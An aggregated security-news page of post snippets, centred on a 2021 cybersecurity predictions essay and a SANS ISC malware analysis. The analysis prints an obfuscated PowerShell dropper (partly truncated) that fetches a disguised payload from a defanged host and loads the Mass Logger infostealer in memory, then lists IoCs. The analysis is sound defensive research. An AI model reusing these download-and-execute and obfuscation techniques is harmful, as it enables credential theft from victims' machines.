Malware Devil

Tuesday, January 5, 2021

CISO Stories – Cybersecurity Leadership 2021 – Todd Fitzgerald – BSW #201

Up Your game with the CISO STORIES Podcast! If anything this past year has taught us is that we can not go on our own, and leveraging the experiences from other CISOs is critical to our success. Join Todd as he introduces a new Podcast featuring actionable lessons from top-notch CISOs and Cybersecurity Leaders.

Visit https://www.securityweekly.com/bsw for all the latest episodes!

Show Notes: https://securityweekly.com/bsw201

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Monday, January 4, 2021

Innovation During a Crisis: A story of PIE and Ice Cream

Some of you may have seen the “funny” statistic in the last few months that during the pandemic, ice cream sales are way up while deodorant sales are way down. Let’s just say that, for me, it’s coffee ice cream. Dessert aside, this stat does lead one to think about what other trends occur during a pandemic or a crisis when we look back at events such as world wars, the Great Depression, the Global Financial Crisis (GFC) of 2007-08, etc.

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Bringing R to Swift on macOS

Over Christmas break I teased some screencaps: A more refined #rstats #swift “SwiftR” example. Simple Image view + some text views, a color picker and a button that runs R-in-Swift code (like {reticulate} does for Python in R) Note no ssd/hd storage round-trip for the plot. Code snippet: https://t.co/fWaHnztUgd pic.twitter.com/y5m1I16tCB — Caliban’s War (@hrbrmstr) December… Continue reading

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Military Cryptanalytics, Part III

The NSA has just declassified and released a redacted version of Military Cryptanalytics, Part III, by Lambros D. Callimahos, October 1977.

Parts I and II, by Lambros D. Callimahos and William F. Friedman, were released decades ago — I believe repeatedly, in increasingly unredacted form — and published by the late Wayne Griswold Barker’s Agean Park Press. I own them in hardcover.

Like Parts I and II, Part III is primarily concerned with pre-computer ciphers. At this point, the document only has historical interest. If there is any lesson for today, it’s that modern cryptanalysis is possible primarily because people make mistakes…

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Leading Game Publishers Hit Hard by Leaked-Credential Epidemic

Over 500,000 leaked credentials tied to the top two dozen leading gaming companies are for sale online.
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Kubernetes Clusters, Microsoft Solarigate, & Apple’s Security DIY – ASW #135

Microsoft purges malicious SolarWinds presence and highlights a threat model around their source code, the tl;drsec crew provides a hardening guide for Kubernetes, Apples provides a user guide for hardening accounts, Firefox provides a new storage system to defeat side channel abuse.

Visit https://www.securityweekly.com/asw for all the latest episodes!

Show Notes: https://securityweekly.com/asw135

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6 Practical Fraud Prevention Tips for 2021

The beginning of the year is a great time to evaluate and take inventory. Why not use it as a time to check up on your financial and credit accounts? It’s good practice, and it’s easy to remember as well if you always do this around the same time every year. Steps you can […]

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Las 10 principales tendencias de datos y análisis de Gartner de 2020.

Los datos y análisis combinados con tecnologías de inteligencia artificial (IA) serán primordiales a la hora de predecir, prepararse y responder de manera proactiva y acelerada a una crisis global y sus consecuencias.

Aquí presentamos las 10 tendencias tecnológicas que

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Security By Design – ASW #135

A premise of adding security to DevOps is we can “shift left” AppSec responsibilities, one of which is building apps so they’re secure by design. Yet what resources does the AppSec community provide for this approach to design? We take a look at the OWASP Top 10, Web Security Testing Guide, and Application Security Verification Standard to find a way forward for DevOps teams.

Visit https://www.securityweekly.com/asw for all the latest episodes!

Show Notes: https://securityweekly.com/asw135

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DEF CON 28 Safe Mode Sunday – Mickey Shkatov’s And Jesse Michael’s ‘Bytes In Disguise’

Many thanks to DEF CON and Conference Speakers for publishing their outstanding presentations; of which, originally appeared at the organization’s DEFCON 28 SAFE MODE Conference, and on the DEF CON YouTube channel. Enjoy!

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Robert M. Lee’s & Jeff Haas’ Little Bobby Comics – ‘WEEK 310’

via the respected information security capabilities of Robert M. Lee & the superlative illustration talents of Jeff Haas at Little Bobby Comics !

via the respected information security capabilities of Robert M. Lee & the superlative illustration talents of Jeff Haas at Little Bobby Comics!

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Zyxel’s Ridiculous Backdoor: Happy New Year, Now Patch Your Gear

Zyxel

Zyxel, maker of networking gear, “accidentally” introduced a backdoor into its latest firmware, giving hackers access to the networks of businesses and government agencies.

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The Evolution of the FIN7 JSSLoader

Morphisec Labs has been tracking FIN7 (Carbanak Group) activity for the past several years. Morphisec’s ability to collect rich forensic data from memory has provided unique visibility into multiple FIN7 campaigns that our researchers were proud to share with MITRE and the InfoSec community at large. Fin7 is a well-funded financially motivated cybercrime group. Their advanced techniques and tactics were even emulated in the third round of the MITRE ATT&CK evaluations.

The post The Evolution of the FIN7 JSSLoader appeared first on Security Boulevard.

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Cybersecurity Predictions and a Wish List for 2021 by Bob Carver

© 2020 Bob Carver, CISM, CISSP, M.S.

Very few people predicted a pandemic in 2020 which would turn our economy and work force on its head. Where working from home was to become the norm and working in the office was the exception. In many cases the acceleration of remote education, the streaming of movies, web conferences and whatever you can afford to be delivered to your front door followed the same trend.

As the pandemic continued to intensify, the largest Nation-State supply chain compromise of SolarWinds took place. This created cyber havoc in at least 18,000 of their business and government customers. More recently we have heard that Microsoft was breached and some source code was accessed. This could create issues for a user footprint on a global scale.

The cloud had already made great advances in market share taking away processing power from traditional data centers. Because of the pandemic, most data center personnel are not working on location to roll out new bare metal servers to keep up with increased processing demand. As a result, more projects were put in the cloud.

This past year the castle and moat network architecture and bare metal servers of traditional data centers continued to be pushed further away and made a relic of the past. In normal times, this digital transformation could have taken another 5 or more years.

 

PREDICTIONS

Securing the Supply Chain Will Finally Become a High Priority

Compared to SolarWinds eventual costs to remediate, NotPetya was relatively small change (estimated over $1 billion in costs.) When Merck and others attempted to collect on their cybersecurity policy, the insurers declared it an “act of war” which was a type of event that was not included in their insurance coverage. Now with the recent announcement of Microsoft being compromised and source code accessed, even the SolarWinds breach could look relatively minor by comparison.

Historically, there was a time where updates to computers, network devices and the like were manually put in place only after checking the file you downloaded matched a checksum (ensuring the update code had not been maliciously modified.) We have become used to updating systems and simply trusting the code that is fed to us from our vendors. Of course in that method, the posted checksums could be maliciously modified.

Securing these updates and other parts of the supply chain will need to go through a revolution. Some may suggest that these updates be secured by blockchain technology, but native blockchain is not secure by itself.

It will have to be hardened to acceptably secure standards where it cannot be modified by outside parties.

Cybersecurity Insurance Policies May Not Cover What You Think They Cover

In this age of massive breaches when you go to collect, you end up with little or no payout from the insurance companies. NotPetya was an excellent example when insurance companies used the “Force Majeure” card when it came to compromised corporations attempting to collect on their insurance policies. Merck ($310 million), Maersk ($300 million) and FedEx ($300 million) were just a few companies stuck with a large portion of the bill to recover from this attack.

 Since the SolarWinds cyberattack was thought to be a result of a large Nation-State cyberattack, it is likely that insurance companies will treat it the same way as the NotPetya cyberattacks.

 In the meantime, larger corporations and those that can afford it must allocate funds for incidents for similar breaches in the future just in case they are not deemed an insurable event.

Good Enough Security is Not Nearly Good Enough

  • Small to Medium Size Businesses

At least half of the businesses that are currently in existence have no business attempting to do their own security. These businesses either cannot afford seasoned cybersecurity personnel or are not able to locate someone with the appropriate experience to manage a semblance of a security risk management program.

Quite often cybercriminals will utilize ransomware and will blackmail business owners for exfiltrated sensitive data. There are others that will access bank accounts or manipulate bank transfers bypassing normal security controls. This will cause a serious disruption of normal business operations and result in 60% of these businesses going under. These businesses should consider hiring a (Managed Detection and Response) MDR service.

  • Larger Business

I have not met any security professionals that have admitted saying, “We have all of the security personnel, budgets and security tools we need and want to defend our business against any and all cyberattacks.” After NotPetya and SolarWinds cyberattacks, it has become obvious that there have been vulnerabilities internally and externally that were not foreseen. Additionally, it may take a large portion of 2021 to know the full extent of the damage from these recent cyberattacks. We may discover many other organizations have been touched in some way by these attacks.

Questions to Ask Yourself:

  • Have you tightened your security since the amount of remote work has increased?
  • Do you have all the logs you need in case of a compromise?
  • Do you have visibility and context to what events are happening on your computers and traversing your networks?
  • Have you benchmarked your security and incident response team against others in your industry?
  • If you have participated in benchmarking your business, do you have an idea of where you can improve?

Having a Breach Will Have Consequences

For the longest time, corporate and government breaches resulted in (1) a slap on the hand, a fine that was a very small percentage of annual revenue and (2) giving consumers that had their personal information exposed, one year of credit monitoring. That may all be about to change.

Already SolarWinds is being evaluated for a Moody’s credit downgrade, making it more difficult to borrow and raise money for business operations. We have yet to know how many lawsuits will result in this supply chain compromise.  This is because we don’t know the time and money that will be lost in restoring and verifying hundreds of thousands of systems for compromise.

Ransomware

This is not going away anytime soon. There is still too much money to be made.

For small enterprises with an average of 50 employees, the typical ransomware incident cost the company $73,000. They will need effective methods of endpoint security, backups and business continuity to minimize this risk.

For larger enterprises, the average breach cost was approximately $4 million dollars according to IBM. In the ForgeRock Consumer Identity Breach Report in 2020, they reported more than 5 billion records that were compromised in 2019 and those breaches cost U.S. organizations more than $1.2 trillion.

The latest trend in cybercrime is to steal your valuable sensitive data first, then encrypt your hard drives making them unusable. If you have good backups and you can fully restore without any malware then the criminal’s “Plan B” is to blackmail you by threatening to release all of your sensitive data.

The next escalations may involve firmware and IoT devices, possibly even bricking devices if the ransom is not paid.

Continued Expansion of AI, Machine Learning and Deep Learning to Detect Cyberattacks

There needs to be continued use and advancement in these detection and mitigation mechanisms; but like any other methodology, these methods by themselves are not a silver bullet to solve all of our cyberattacks. They are simply tools in the toolbelt that can be utilized for great good.

The difficultly is that these technologies do not like ambivalence or gray areas. They like well-defined boundaries of good or bad. Cybercriminals and Nation States will craft many of their attacks to look like normal traffic, normal processes and will perhaps add additional flows and processes to set a “normal baseline” to throw these detection mechanisms off of the trail.

Zero Trust

Zero Trust is not a single technology, it is a framework that was developed by Forrester Research in 2010. It takes the stance of “Do Not Trust and Verify.” This includes the utilization of technologies like IAM (Identity Access Management), MFA (Multi Factor Authentication), micro segmentation of networks and cloud platforms, verifying the identity of who is attempting to access a network, cloud or application and limiting how and what assets users are able to access along with the level of permissions granted. Enabling this framework in a secure manner will continue to be more important than ever. Those that implement Zero Trust well will reduce their risk substantially.

More Wolves in Sheep Clothing

 

  • Known Good Software Going Bad

Caveat Emptor, be careful of what software is downloaded to your computers. This has been going on for some time. The software that starts out clean is recognized with a legitimate golden digital certificate and not recognized as malicious by all major endpoint security products. Give it time, then a backdoor starts updating the original software without any warning or any user acknowledgement or interaction. Next you have keyloggers, password crackers, enumeration, network discovery tools along with multiple layers of malware and APT’s for a backup plan to stay embedded on your computers and within your network.

Sometimes this malicious update starts within hours, other times I have seen sleep cycles in application code where the malware downloads did not start until six months after installation.

Know your software and suppliers you can trust. Be careful downloading free or inexpensive software that has the potential to become the malicious gift that keeps on giving.

  • Supply Chain-Based Cyberattacks

What is the next level of cyberattacks that are utilizing the methodology of Wolf in Sheep’s Clothing? It is poisoning the supply chain. I am surprised we hadn’t seen this earlier. We have seen where nation-state attacks utilized NotPetya and SolarWinds by poisoning a single entity to compromise many.  Even recently, we saw Microsoft being breached and have yet to know the full extent of the damage.

Third Party Risk and Governance

As a result of recent supply chain compromises, management of third party risk will be more important than ever. Simple checkbox questionnaires self-assessing “Do you do this?”, “Do you have one of these?” will no longer be sufficient. A more rigorous method of measuring level of the security that is in place will be needed and will eventually require a formal third party verification.

Fileless Malware, Living Off of the Land, Process Hollowing, Process Masquerading and Processes That Run in Memory

These are more difficult to analyze unless you have access to full context and all related data flows, processes (whether on memory or on disk) and decryption of TLS or methods of obfuscation.

We will continue to see a larger percentage of cyberattacks utilizing these types of TTPs. Traditional malware analysis of files may be needed less often and logging misuse of WMI, Powershell and other legitimate software applications used in a malicious manner.

The CISO Gets Some Help, Especially in Larger Organizations

We will start to see more positions of Chief Data Officer and/or Chief Privacy Officer in larger organizations. The job of securing, data, privacy, networks and, in some cases, even physical security is simply too large a job for a single person in the largest corporations.

Wish List

IoT Security Bill

This was on my previous wishlist. Baby steps. This is sometimes how real life is, you don’t get everything you want all at once. Progress was made when Washington, D.C. passed a bill on IoT Security. Does it have any stipulations on who takes responsibility? That is unclear. It appears to point to a NIST document for IoT guidelines. Perhaps folks in U.S. government will have to attempt to follow those guidelines in purchasing new IoT devices? Does the IoT bill layout who is responsible when things go wrong? I don’t think there will be any changes until billions or more dollars are lost due to mayhem of compromised IoT devices interrupting commerce and peoples’ connectivity to our new normal remote work routines. Mirai and Reaper botnets have already shown us what damage they can do. This is not in the theoretical realm anymore. I am not looking to point fingers. I am looking for a game plan (Risk Management and an Incident Response Plan) where we know who will be required to get involved and take responsibility when the SHTF

Cybersecurity Education

This was on my previous wish list. Progress is being made. Commercial organizations, Girl Scouts, Women’s Empowerment organizations and Charter Schools are being put in place to teach cybersecurity in middle school and high school. Kudos! We are just getting started. Let’s get them to start learning in grade school. Let’s keep up the momentum. There is much more to do.

Understand Compliance Does Not Equal a Secure Risk Management Program.

Congratulations to those that rank high in NIST CSF, various ISO frameworks and the like. You probably are better off than many other companies. However, there are many vulnerabilities that have yet to be discovered and Tools, Techniques and Procedures utilized in cyberattacks that we have yet to experience where we have no good method of detection or mitigation.

Just because you scored well doesn’t mean the next cyberattack won’t catch you with your pants down. Think SolarWinds, Eternal Blue and others.

That is why I commend the continuous monitoring and continuous improvement frameworks because this work is never complete and you can’t rest on your laurels.

Stop Utilizing RDP and Other Pseudo Secure Web Methods of Login When Exposed to the Internet

 These are high on the list of why businesses get compromised. Please find more secure ways to login to assets on public IP addresses.

Everyone Start Utilizing 2FA (2 Factor Authentication) Wherever it is Available

Do you want to lower the risk of a compromised account substantially this year? Review all of your website and application login accounts starting with email and financial accounts. Verify that you have 2FA or MFA (Two Factor or Multi-Factor Authentication in place.) Attempt to avoid SMS text and utilize out-of-band apps or, in more critical situations, proven security keys.

Originally posted at: https://www.linkedin.com/pulse/cybersecurity-predictions-wish-list-2021-carver-cism-cissp-ms-/


About the Author

Bob Carver, CISM, CISSP, M.S.

I uncover previously unseen cybersecurity risk and creatively architect solutions.

Threat Hunting the security unknowns that escape all traditional security monitoring.

Interrupting malicious traffic.

Previsiously, monitored hundreds of botnets and ten of thousands infected endpoints including PC’s, Smartphones and Apple OS X.

Initially, started, oversaw the first full-time Verizon Wireless Security Incident Response Team and Security Monitoring team.

Previously Architect and acting Project Manager for ArcSight Security monitoring and reporting, processing approximately 20 million of potential security events each day.

Regular contributor to Verizon-wide risk team.

Participate in and initiate changes in network architecture in response to various attacks.

Current Projects: Interrupting Command and Control/Malicious traffic; Security Awareness.

Have had experience from startups to Federal Government to Fortune 500. IT Operations and Network management for a worldwide network.

*CISM (Certified Information Security Manager)
*CISSP (Certified Information Security Professional).
*Passed CBCP Exam (Certified Business Continuity Professional) CBCP candidate

 

 

 

 

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From a small BAT file to Mass Logger infostealer, (Mon, Jan 4th)

Since another year went by, I’ve decided to once again check all of the malicious files, which were caught in my e-mail quarantine during its course. Last year, when I went through the batch of files from 2019, I found couple of very large samples[1] and I wanted to see whether I’d find something similar in the 2020 batch.

I started with just over 900 files of many different types and although I did notice couple of unusually large files, when one took their extensions into consideration (e.g. a JS file with size exceeding 1 MB, which turned out to be a sample of WSH RAT[2]), the largest sample in the batch overall was an EXE with the size of 17 MB. It was not small by any means, but its size was not too unusual either – it was definitely not in the same weight class as the 130 MB executable sent to us by one of our readers back in August[3].

On the other side of the size spectrum, situation was pretty much the same – there were also not any files which would be interesting because of their exceptional size (or lack thereof). While quickly going over the small files, one of them however did catch my eye. Among the smallest executable scripts was a 1.68 kB BAT file from September 2020 with the name of “A megállapodás feltételei_doc04361120200812113759-ACF.28668_DPJ2020012681851.PDF.bat” (first part roughly translates as “Terms of agreement” from Hungarian), which contained the following slightly obfuscated PowerShell script, which turned out to be quite interesting.

@echo off

Start /MIN Powershell -WindowStyle Hidden -command "$Dxjyp='D4@C7@72@72...
...
...F6@26@45@42';
$text =$Dxjyp.ToCharArray();
[Array]::Reverse($text);
$tu=-join $text;
$jm=$tu.Split('@') | forEach {[char]([convert]::toint16($_,16))};
$jm -join ''|I`E`X"

After reversing and decoding the contents of the $Dxjyp variable, the main body of the script became readable. The script was supposed to download and execute contents of the file A12.jpg downloaded from http[:]//topometria[.]com[.]cy.

$Tbone='*EX'.replace('*','I');
sal M $Tbone;
do {$ping = test-connection -comp google.com -count 1 -Quiet} until ($ping);
$p22 = [Enum]::ToObject([System.Net.SecurityProtocolType], 3072);
[System.Net.ServicePointManager]::SecurityProtocol = $p22;
$mv='(N'+'ew'+'-O'+'b'+'je'+'c'+'t '+ 'Ne'+'t.'+'W'+'eb'+'C'+'li'+'ent)'+'.D'+'ow'+'nl'+'oa'+'d'+'S'+'tr'+'ing(''http[:]//topometria[.]com[.]cy/A12.jpg'')'|I`E`X;
$asciiChars= $mv -split '-' |ForEach-Object {[char][byte]"0x$_"};
$asciiString= $asciiChars -join ''|M

The URL contained withing the script is no longer active, but I managed to find a copy of the A12.jpg file downloaded in an Any.Run task from September, in which someone analyzed differently named (but functionally identical) version of the batch script[4].

The JPG file (that was of course not JPG at all) was 3.25 MB in size. This turned out not to be too much when one considers that it contained the main malicious payload in the form of one EXE and one DLL, but before we get to these files, let’s quickly take a look at A12.jpg.

Its contents looked exactly as one would expect given the last two lines of the PowerShell code we’ve seen above (i.e. hex-encoded ASCII characters separated by hyphens).

24-74-30-3D-2D-4A-6F-69-6E-20-28-28-31-31-...
...
... 0D-0A-20-20-0D-0A-0D-0A-0D-0A-20-20

At this point it is good to mention that for the purposes of analyzing any potentially malicious code, it can be invaluable to remember hex values of several of ASCII characters. Besides the usual “M” (0x4D) and “Z” (0x5A), which create the header of Windows PE executables, as well as couple of others, it may be a good idea to also remember that “$” has the hex value 0x24. In this way, even if we got our hands on the A12.JPG file without any other context, we might deduce that it might contain code in one of the languages, in which the dollar sign is used to denote variables.

After decoding the downloaded file, it became obvious that it did indeed contain a part of a PowerShell script. What was especially interesting about it were two variables which seemed to each contain a PE structure.

$t0=-Join ((111, 105, 130)| ForEach-Object {( [Convert]::ToInt16(([String]$_ ), 8) -As[Char])});
sal g $t0
[String]$nebj='4D5A9>^>^3>^>^>^04>^>^>^FFFF>^>^B8>^...
...
...>^'.replace('>^','00')

function PuKkpsGJ {
    param($gPPqxvJ)
    $gPPqxvJ = $gPPqxvJ -split '(..)' | ? { $_ }
    ForEach ($wbdtbuBT in $gPPqxvJ){
        [Convert]::ToInt32($wbdtbuBT,16)
    }
}
[String]$CDbvWcpeO='4D5A9>^>^3>^>^>^04>^>^>^FFFF>^>^B8>^...
...
...>^'.replace('>^','00')

[Byte[]]$JJAr=PuKkpsGJ $CDbvWcpeO
$y='[System.Ap!%%%%#######@@@@@@@****************ain]'.replace('!%%%%#######@@@@@@@****************','pDom')|g;
$g55=$y.GetMethod("get_CurrentDomain")
$uy='$g55.In!%%%%#######@@@@@@@****************ke($null,$null)'.replace('!%%%%#######@@@@@@@****************','vo')| g
$vmc2='$uy.Lo!%%%%#######@@@@@@@****************($JJAr)'.Replace('!%%%%#######@@@@@@@****************','ad')
$vmc2| g
[Byte[]]$nebj2= PuKkpsGJ $nebj
[g8fg0000.gfjhfdgpoerkj]::gihjpdfg('InstallUtil.exe',$nebj2)

Indeed, after replacing all of the “>^” pairs in the two variables with “00” and saving the resultant values from each of the variables in a file, the hypothesis was proven true. There were indeed two PE files contained within the script – one 42 kB DLL and one 514 kB EXE, both written in the .NET family of languages.

After a little more deobfuscation of the script in A12.jpg, it became obvious that it basically amounted to the following two lines of code, in which the purpose of the two files can be clearly seen – the script was supposed to load the DLL into memory and then ensure execution of the main malicious executable with its help.

[System.AppDomain].GetMethod("get_CurrentDomain").Invoke($null,$null).Load([DLL file])| IEX
[g8fg0000.gfjhfdgpoerkj]::gihjpdfg('InstallUtil.exe',[EXE file])

Indeed, you may see the relevant part of the DLL in the following image.

After a quick analysis, the EXE file itself turned out to be a sample of the Mass Logger infostealer.

Although I didn’t find any exceptionally large or small malicious files in the batch of quarantined e-mails from 2020, the small BAT file discussed above turned out to be quite interesting in its own way, as the following chart summarizes.

Let us see what 2021 brings us in terms of malware – perhaps next year, we will have a chance to take a look at something exceptionally small or unusually large again…

Indicators of Compromise (IoCs)

A megállapodás feltételei_doc04361120200812113759-ACF.28668_DPJ2020012681851.PDF.bat (1.68 kB)
MD5 – 71bdecdea1d86dd3e892ca52c534fa13
SHA1 – 72071a7e760c348c53be53b6d6a073f9d70fbc4b

A12.jpg (3.25 MB)
MD5 – 60b86e4eac1d3eeab9980137017d3f65
SHA1 – d41b417a925fb7c4a903dd91104ed96dc6e1982b

ManagmentClass.dll (42 kB)
MD5 – 8a738f0e16c427c9de68f370b2363230
SHA1 – 0ac18d2838ce41fe0bdc2ffca98106cadfa0e9b5

service-nankasa.com-LoggerBin.exe (514 kB)
MD5 – 4b99184764b326b10640a6760111403d
SHA1 – 2a61222d0bd7106611003dd5079fcef2a9012a70

[1] https://isc.sans.edu/forums/diary/Picks+of+2019+malware+the+large+the+small+and+the+one+full+of+null+bytes/25718
[2] https://app.any.run/tasks/801cb6a1-6c66-4b98-8b38-14b3e56d660a/
[3] https://isc.sans.edu/forums/diary/Definition+of+overkill+using+130+MB+executable+to+hide+24+kB+malware/26464/
[4] https://app.any.run/tasks/32b4519f-3c10-40f5-a65a-7db9c3a57fd0/

———–
Jan Kopriva
@jk0pr
Alef Nula

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License. Read More

The post From a small BAT file to Mass Logger infostealer, (Mon, Jan 4th) appeared first on Malware Devil.



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Tackling Detection Models’ Explainability with SHAP

Introduction At Hunters we aim to detect threat actors hiding in our customers’ assets. In order to do so, Hunters’ platform autonomously analyzes security logs to search for various types of information: IOCs from threat intel feeds, signatures of malicious behaviour based on a variety of TTPs, or anomalies in the data that could potentially…

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The post Tackling Detection Models’ Explainability with SHAP appeared first on Security Boulevard.

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CISO New Year’s Resolutions for 2021

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Enterprise Vulnerabilities
From DHS/US-CERT’s National Vulnerability Database
CVE-2020-4918
PUBLISHED: 2021-01-04

IBM Cloud Pak System 2.3 could allow l local privileged user to disclose sensitive information due to an insecure direct object reference in sell service console for the Platform System Manager. IBM X-Force ID: 191392.

CVE-2020-4919
PUBLISHED: 2021-01-04

IBM Cloud Pak System 2.3 has insufficient logout controls which could allow an authenticated privileged user to impersonate another user on the system. IBM X-Force ID: 191395.

CVE-2020-4928
PUBLISHED: 2021-01-04

IBM Cloud Pak System 2.3 could allow a local privileged attacker to upload arbitrary files. By intercepting the request and modifying the file extention, the attacker could execute arbitrary code on the server. IBM X-Force ID: 191705.

CVE-2020-4942
PUBLISHED: 2021-01-04

IBM Curam Social Program Management 7.0.9 and 7.0.11 is vulnerable to cross-site request forgery which could allow an attacker to execute malicious and unauthorized actions transmitted from a user that the website trusts. IBM X-Force ID: 191942.

CVE-2020-4909
PUBLISHED: 2021-01-04

IBM Cloud Pak System 2.3 is vulnerable to cross-site scripting. This vulnerability allows users to embed arbitrary JavaScript code in the Web UI thus altering the intended functionality potentially leading to credentials disclosure within a trusted session. IBM X-Force ID: 191273.

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Ever Evolving: Israel Barak on Running Remote SOC Ops

We spent some time with Israel Barak, Chief Information Security Officer at Cybereason, who discussed some of the challenges of running a world-wide SOC remotely during the pandemic – check it out…

The post Ever Evolving: Israel Barak on Running Remote SOC Ops appeared first on Security Boulevard.

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Barbary Pirates and Russian Cybercrime

In 1801, the United States had a small Navy. Thomas Jefferson deployed almost half that Navy—three frigates and a schooner—to the Barbary C...